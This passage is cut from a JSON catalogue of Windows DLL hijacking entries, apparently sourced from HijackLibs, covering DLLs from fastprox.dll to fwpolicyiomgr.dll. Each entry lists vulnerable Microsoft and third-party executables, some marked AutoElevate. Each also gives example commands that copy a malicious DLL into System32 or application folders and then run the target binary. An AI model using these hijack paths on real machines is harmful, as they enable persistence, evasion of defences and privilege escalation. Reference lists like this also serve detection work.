Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\scanpst.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fastprox.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fastprox.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "fastprox.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fastprox",
    "name": "fastprox.dll",
    "namespace": "windows:dllhijack:fastprox",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fastprox.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious faultrep.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\faultrep.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\werfault.exe\\\"\"\n\n# faultrep.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\werfault.exe (Sideloading)\n- %SYSTEM32%\\werfaultsecure.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-faultrep.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "faultrep.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "faultrep.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-faultrep",
    "name": "faultrep.dll",
    "namespace": "windows:dllhijack:faultrep",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/faultrep.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fddevquery.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fddevquery.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ddodiag.exe\\\"\"\n\n# fddevquery.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ddodiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fddevquery.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fddevquery.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "fddevquery.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fddevquery",
    "name": "fddevquery.dll",
    "namespace": "windows:dllhijack:fddevquery",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fddevquery.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious feclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\feclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cipher.exe\\\"\"\n\n# feclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cipher.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-feclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "feclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "feclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-feclient",
    "name": "feclient.dll",
    "namespace": "windows:dllhijack:feclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/feclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fhcfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fhcfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\filehistory.exe\\\"\"\n\n# fhcfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fhcfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fhcfg.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "fhcfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fhcfg",
    "name": "fhcfg.dll",
    "namespace": "windows:dllhijack:fhcfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fhcfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fhsvcctl.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fhsvcctl.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fhmanagew.exe\\\"\"\n\n# fhsvcctl.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fhmanagew.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fhsvcctl.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fhsvcctl.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fhsvcctl.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fhsvcctl",
    "name": "fhsvcctl.dll",
    "namespace": "windows:dllhijack:fhsvcctl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fhsvcctl.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious firewallapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\firewallapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\checknetisolation.exe\\\"\"\n\n# firewallapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\checknetisolation.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-firewallapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "firewallapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "firewallapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-firewallapi",
    "name": "firewallapi.dll",
    "namespace": "windows:dllhijack:firewallapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/firewallapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious flightsettings.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\flightsettings.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicecensus.exe\\\"\"\n\n# flightsettings.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-flightsettings.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "flightsettings.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "flightsettings.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-flightsettings",
    "name": "flightsettings.dll",
    "namespace": "windows:dllhijack:flightsettings",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/flightsettings.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious fltlib.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fltlib.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\agentservice.exe\\\"\"\n\n# fltlib.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\agentservice.exe (Sideloading)\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Sideloading)\n- %SYSTEM32%\\dpiscaling.exe (Sideloading)\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\fltmc.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\resmon.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\vssvc.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n- %SYSTEM32%\\write.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-fltlib.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "fltlib.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fltlib.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-fltlib",
    "name": "fltlib.dll",
    "namespace": "windows:dllhijack:fltlib",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fltlib.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious flutter_gpu_texture_renderer_plugin.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\rustdesk\\\\flutter_gpu_texture_renderer_plugin.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\rustdesk\\\\rustdesk.exe\\\"\"\n\n# flutter_gpu_texture_renderer_plugin.dll\n\n**Vendor:** Rustdesk\n\n**Expected Location:** %LOCALAPPDATA%\\rustdesk\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\rustdesk\\rustdesk.exe (Sideloading)\n",
    "_source": "windows-dllhijack-flutter-gpu-texture-renderer-plugin.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "flutter_gpu_texture_renderer_plugin.dll — Sideloading hijacking (Rustdesk)",
    "execution": {
      "template": "flutter_gpu_texture_renderer_plugin.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-flutter-gpu-texture-renderer-plugin",
    "name": "flutter_gpu_texture_renderer_plugin.dll",
    "namespace": "windows:dllhijack:flutter-gpu-texture-renderer-plugin",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_us/research/25/a/how-cracks-and-installers-bring-malware-to-your-device.html"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/857e4cb0b41f7aac5494c8554601888c1c82202de3dab7258b2ff322bc94ca43"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/flutter-gpu-texture-renderer-plugin.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fnp_act_installer.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\InstallShield\\\\%VERSION%\\\\System\\\\fnp_act_installer.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\InstallShield\\\\%VERSION%\\\\System\\\\TSConfig.exe\\\"\"\n\n# fnp_act_installer.dll\n\n**Vendor:** Flexera\n\n**Expected Location:** %PROGRAMFILES%\\InstallShield\\%VERSION%\\System\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\InstallShield\\%VERSION%\\System\\TSConfig.exe (Sideloading)\n- %PROGRAMFILES%\\InstallShield\\%VERSION%\\System\\ISDbg.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-fnp-act-installer.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fnp_act_installer.dll — Sideloading hijacking (Flexera)",
    "execution": {
      "template": "fnp_act_installer.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fnp-act-installer",
    "name": "fnp_act_installer.dll",
    "namespace": "windows:dllhijack:fnp-act-installer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e7b69768215453b2c648d7060161ce9b9eaf1ace631eb2ac11b60a7195e2263e"
      },
      {
        "label": "Reference",
        "url": "https://app.any.run/tasks/faf0d668-7e06-4b1c-922b-2bb3a9d81dae"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fnp-act-installer.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious formdll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Common Files\\\\Microsoft Shared\\\\NoteSync Forms\\\\formdll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Common Files\\\\Microsoft Shared\\\\NoteSync Forms\\\\inkform.exe\\\"\"\n\n# formdll.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Common Files\\Microsoft Shared\\NoteSync Forms\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Common Files\\Microsoft Shared\\NoteSync Forms\\inkform.exe (Sideloading)\n",
    "_source": "windows-dllhijack-formdll.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "formdll.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "formdll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-formdll",
    "name": "formdll.dll",
    "namespace": "windows:dllhijack:formdll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://any.run/report/d9c7f6d4ec08d961c20dac1b6422b3fbec5c6a8d9dc67d1f604835b36c5f224e/ae068531-92db-497d-b0cb-c0b1af5476f1"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/formdll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious framedynos.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\framedynos.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dfsrdiag.exe\\\"\"\n\n# framedynos.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\driverquery.exe (Sideloading)\n- %SYSTEM32%\\getmac.exe (Sideloading)\n- %SYSTEM32%\\openfiles.exe (Sideloading)\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-framedynos.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "framedynos.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "framedynos.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-framedynos",
    "name": "framedynos.dll",
    "namespace": "windows:dllhijack:framedynos",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/framedynos.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious fveapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fveapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\baaupdate.exe\\\"\"\n\n# fveapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\baaupdate.exe (Sideloading)\n- %SYSTEM32%\\bdechangepin.exe (Sideloading)\n- %SYSTEM32%\\fvenotify.exe (Sideloading)\n- %SYSTEM32%\\fveprompt.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fveapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "fveapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fveapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-fveapi",
    "name": "fveapi.dll",
    "namespace": "windows:dllhijack:fveapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fveapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious fveskybackup.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fveskybackup.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bitlockerdeviceencryption.exe\\\"\"\n\n# fveskybackup.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bitlockerdeviceencryption.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-fveskybackup.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fveskybackup.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fveskybackup.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-fveskybackup",
    "name": "fveskybackup.dll",
    "namespace": "windows:dllhijack:fveskybackup",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fveskybackup.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious fvewiz.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fvewiz.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bitlockerwizard.exe\\\"\"\n\n# fvewiz.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bitlockerwizard.exe (Sideloading)\n- %SYSTEM32%\\bitlockerwizardelev.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-fvewiz.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "fvewiz.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fvewiz.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-fvewiz",
    "name": "fvewiz.dll",
    "namespace": "windows:dllhijack:fvewiz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fvewiz.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious fwbase.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fwbase.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\checknetisolation.exe\\\"\"\n\n# fwbase.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\checknetisolation.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fwbase.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "fwbase.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fwbase.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-fwbase",
    "name": "fwbase.dll",
    "namespace": "windows:dllhijack:fwbase",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fwbase.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fwcfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fwcfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# fwcfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fwcfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fwcfg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fwcfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fwcfg",
    "name": "fwcfg.dll",
    "namespace": "windows:dllhijack:fwcfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/fwcfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious fwpolicyiomgr.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\fwpolicyiomgr.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# fwpolicyiomgr.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-fwpolicyiomgr.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "fwpolicyiomgr.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "fwpolicyiomgr.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-fwpolicyiomgr",
    "name": "fwpolicyiomgr.dll",
